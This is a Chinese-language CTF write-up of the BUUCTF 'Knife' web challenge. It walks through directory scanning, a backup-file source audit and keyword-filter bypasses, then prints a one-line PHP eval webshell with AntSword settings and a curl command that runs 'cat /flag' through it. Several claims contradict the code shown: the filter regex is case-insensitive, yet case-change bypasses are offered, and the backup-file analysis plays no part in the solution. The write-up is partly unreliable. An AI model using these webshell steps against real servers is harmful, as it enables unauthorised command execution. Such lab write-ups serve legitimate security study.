1. 题目背景与核心考察点
这道来自BUUCTF平台的"极客大挑战 2019"赛题《Knife》,是一个典型的Web安全挑战题目。题目名称"Knife"直译为"刀",在安全领域常暗指"Webshell"或"后门工具"。根据多年CTF参赛经验,这类题目通常会考察以下核心能力:
- 基础代码审计能力(PHP/JSP等脚本语言)
- Webshell特征识别与利用
- 服务器敏感信息泄露利用
- 基础Bypass技巧(如黑名单绕过)
2. 初始信息收集与侦查
2.1 基础环境探测
首先访问题目提供的URL,通过浏览器开发者工具查看页面基础信息:
<!-- 典型CTF题目简约风格 --> <body> <h1>I am a white hat</h1> <p>Do you know what my name is?</p> </body>关键发现:
- 无前端交互表单
- 无显性功能入口
- 页面包含暗示性文字提示
2.2 目录扫描与敏感文件发现
使用Dirsearch工具进行目录扫描:
python3 dirsearch.py -u http://target_url -e php,zip,bak扫描结果中重点关注:
/shell.php状态码200/index.php.bak状态码200
注意:CTF题目中.bak文件往往是解题关键,这是出题人常用的提示方式
3. 核心漏洞分析与利用
3.1 备份文件源码审计
下载index.php.bak获取源码:
<?php if(isset($_GET['whitehat'])){ $whitehat = $_GET['whitehat']; if(!preg_match('/flag/i', $whitehat)){ echo $whitehat; }else{ die('Hacker!'); } }else{ highlight_file(__FILE__); } ?>代码逻辑分析:
- 接收whitehat参数
- 用正则过滤"flag"关键词
- 无过滤直接输出内容
3.2 黑名单绕过技巧
虽然过滤了"flag"关键词,但存在多种绕过方式:
- 大小写变形:
FLAG、Flag - 字符串拼接:
fl"."ag - 编码转换:
fl\x61g - 注释插入:
fl/*x*/ag
实际测试发现/shell.php可直接访问,返回内容为:
<?php eval($_POST['cmd']);?>这是一个典型的无防护Webshell。
4. 完整攻击链构建
4.1 Webshell利用
使用蚁剑连接/shell.php:
- 连接地址:
http://target_url/shell.php - 密码:
cmd - 连接方式:PHP-Eval
成功连接后查看服务器目录,发现/flag文件:
cat /flag4.2 替代解决方案
若无Webshell管理工具,也可直接通过curl获取flag:
curl -X POST -d "cmd=system('cat /flag');" http://target_url/shell.php5. 防御方案与题目启示
5.1 漏洞根源分析
本题暴露的安全问题:
- 备份文件未清理(index.php.bak)
- Webshell未做访问控制
- 参数过滤不严谨(仅大小写敏感)
5.2 实际防护建议
针对开发者的安全建议:
- 生产环境禁用
.bak等备份文件 - 使用
disable_functions禁用危险函数 - 参数过滤采用白名单机制
- 部署WAF防护webshell上传
6. 解题技巧总结
- 信息收集要全面:CTF题目中.bak/.swp等备份文件往往是突破口
- 正则过滤可绕过:单一过滤容易通过大小写、拼接等方式绕过
- 工具链要熟练:Dirsearch/蚁剑等工具的组合使用能提升效率
- 多角度思考:当主要路径受阻时,尝试寻找非常规入口(如本题的shell.php)
通过这道题目,我们完整演练了从信息收集到漏洞利用的完整过程。这类基础Web题目在CTF中非常常见,掌握这些核心技巧可以快速解决同类挑战。